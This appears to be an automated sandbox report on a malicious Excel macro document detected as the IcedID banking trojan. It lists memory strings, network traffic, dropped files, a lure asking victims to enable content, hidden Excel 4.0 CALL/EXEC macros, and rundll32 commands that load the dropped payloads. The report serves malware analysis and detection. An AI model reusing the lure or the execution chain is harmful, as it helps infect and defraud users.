Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/g11n-lib/2.0.67
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/css/1.0.376
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/css/1.0.376/style-awsm.css
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/gi-map/AWS_Global-Infrastructure-Map.svg
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/logo
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/logos/aws_logo_smile_1200x630.png
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/logos/aws_logo_smile_179x109.png
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/site/fav/favicon.ico
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/site/touch-icon-ipad-144-smile.png
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/site/touch-icon-iphone-114-smile.png
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-search/1.0.13/js
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra/1.0.376/directories
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra/1.0.376/libra-cardsui
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra/1.0.376/libra-head.js
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra/1.0.376/librastandardlib
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/plc/js/1.0.108/plc
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/pricing-calculator/js/1.0.2
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/pricing-savings-plan/js/1.0.6
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/psf/null
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/s_code/js/3.0/awshome_s_code.js
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/target/1.0.113/aws-target-mediator.js
Source: rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp	String found in binary or memory: https://amazon.com/
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://amazonwebservicesinc.tt.omtrdc.net
Source: rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/?nc2=h_lg
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ar/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ar/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/cn/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/cn/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/de/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/de/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/es/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/es/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/fr/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/fr/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/id/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/id/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/it/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/it/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105903407.0000000000332000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/j
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/jp/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/jp/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ko/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ko/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/marketplace/?nc2=h_mo
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/marketplace/?nc2=h_ql_mp
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/marketplace?aws=hp
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/podcasts/aws-podcast/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/privacy/?nc1=f_pr
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/pt/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/pt/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ru/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ru/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/search
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/search/
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/search/?searchQuery=
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/terms/?nc1=f_pr
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/th/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/th/?nc1=f_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/tr/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/tr/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/tw/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/tw/?nc1=h_ls
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/vi/
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/vi/?nc1=f_ls
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/?nc2=h_m_mc
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/billing/home?nc2=h_m_bc
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/console/home
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/console/home?nc1=f_ct&src=footer-signin-mobile
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/iam/home?nc2=h_m_sc#security_credential
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/support/home/?nc1=f_dr
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/support/home/?nc2=h_ql_cu
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/support/home?nc2=h_ql_cu
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://d1.awsstatic.com
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://dc.ads.linkedin.com/collect/?pid=3038&fmt=gif
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://devices.amazonaws.com?hp=tile&so-exp=below
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://docs.aws.amazon.com/index.html?nc2=h_ql_doc
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://fls-na.amazon.com/1/action-impressions/1/OE/aws-mktg/action/awsm_:comp_DeprecatedBrowser
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://i18n-string.us-west-2.prod.pricing.aws.a2z.com
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://pages.awscloud.com/AmazonECSAnywherePreview.html?hp=tile&so-exp=below
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	String found in binary or memory: https://pages.awscloud.com/communication-preferences?trk=homepage
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://pages.awscloud.com/fico-case-study.html?hp=tile&story=fico
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://pages.awscloud.com/zillow-case-study?hp=tile&story=zllw
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://phd.aws.amazon.com/?nc2=h_m_sc
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?exp=default
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?exp=default&sc_icampaign=
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?nc1=f_ct&src=default
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?nc2=h_ct&src=default
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/manageYourAccount?nc2=h_m_ma
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://press.aboutamazon.com/press-releases/aws
Source: rundll32.exe, 00000003.00000003.2105887933.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2170922422.0000000000367000.00000004.00000001.sdmp	String found in binary or memory: https://s0.awsstatic.com
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://s0.awsstatic.com/en_US/nav/v3/panel-content/desktop/index.html
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://s0.awsstatic.com/en_US/nav/v3/panel-content/mobile/index.html
Source: rundll32.exe, 00000003.00000002.2497730977.0000000000317000.00000004.00000020.sdmp, rundll32.exe, 00000006.00000003.2173075122.0000000000351000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/awscloud
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp	String found in binary or memory: https://www.amazon.jobs/aws
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	String found in binary or memory: https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	String found in binary or memory: https://www.twitch.tv/aws
Source: rundll32.exe, 00000003.00000003.2224598065.0000000000397000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000003.2188078366.0000000002A26000.00000004.00000001.sdmp	String found in binary or memory: https://www.youtube.com/user/AmazonWebServices/Cloud/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443

Source: unknown	HTTPS traffic detected: 192.185.48.186:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.214.87:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.87.146.86:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.79.62.99:443 -> 192.168.2.22:49170 version: TLS 1.2

E-Banking Fraud:

Yara detected IcedID

Show sources

Source: Yara match	File source: 00000003.00000002.2497781112.000000000038E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2174963879.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2172023641.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2173003375.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2497738687.00000000002E1000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2173701556.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2172513544.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2796, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2540, type: MEMORY

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 11 from the yellow bar above 12 13 Once You have Enable Editing, please I"' from
Source: Screenshot number: 8	Screenshot OCR: Enable Editing 11 1 from the yellow bar above 12 13 ' @ Once You have Enable Editing, please clic
Source: Screenshot number: 8	Screenshot OCR: Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18 I WHY I CANNOTOPEN THIS DOCU
Source: Document image extraction number: 9	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Conten
Source: Document image extraction number: 9	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 15	Screenshot OCR: Enable Editing from the yellow bar above CB Once You have Enable Editing, please click Enable Cont
Source: Document image extraction number: 15	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? W You are using IDS or And
Source: Screenshot number: 12	Screenshot OCR: Enable Editing 11 1 from the yellow bar above 12 13 ' @ Once You have Enable Editing, please clic
Source: Screenshot number: 12	Screenshot OCR: Enable Content 14 1 from the yellow bar above 15 CI c? 16 17 I 18 I WHY I CANNOTOPEN THIS DOCU

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: document-1251000362.xlsm	Initial sample: CALL
Source: document-1251000362.xlsm	Initial sample: EXEC

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: document-1251000362.xlsm

Initial sample: Sheet size: 36917

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\3003[1].gif	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\3003[1].gif	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd3	Jump to dropped file

Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_002313B8 NtQuerySystemInformation,RtlAllocateHeap,		3_2_002313B8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_001413B8 NtQuerySystemInformation,RtlAllocateHeap,		6_2_001413B8

Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00231100	3_2_00231100
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000007FEF4611000	3_2_000007FEF4611000
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000007FEF4611610	3_2_000007FEF4611610
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000007FEF4611979	3_2_000007FEF4611979
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00141100	6_2_00141100
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000007FEF46AF93A	6_2_000007FEF46AF93A

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\3003[1].gif A7B8E0DF5276942405D485EB808FA19B24E42D9758CACF1515028122755C2513
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\3003[1].gif BF4D7AAF16DD3806DB0C54096EE9CAF23316C2A6C9D1F6ABC55B39215E88F685
Source: Joe Sandbox View	Dropped File: C:\Users\user\ksjvoefv.skd A7B8E0DF5276942405D485EB808FA19B24E42D9758CACF1515028122755C2513
Source: Joe Sandbox View	Dropped File: C:\Users\user\ksjvoefv.skd3 BF4D7AAF16DD3806DB0C54096EE9CAF23316C2A6C9D1F6ABC55B39215E88F685

Source: rundll32.exe, 00000003.00000002.2497882095.0000000001C90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2171558379.0000000001CB0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2179373404.0000000001AD0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSM@11/20@856/6

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$document-1251000362.xlsm

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC486.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd,DllRegisterServer

Source: document-1251000362.xlsm

Metadefender: Detection: 13%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd1,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd2,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd3,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd4,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd1,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd2,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd3,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ksjvoefv.skd4,DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: document-1251000362.xlsm	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: document-1251000362.xlsm	Initial sample: OLE zip file path = xl/media/image4.png
Source: document-1251000362.xlsm	Initial sample: OLE zip file path = xl/media/image3.png
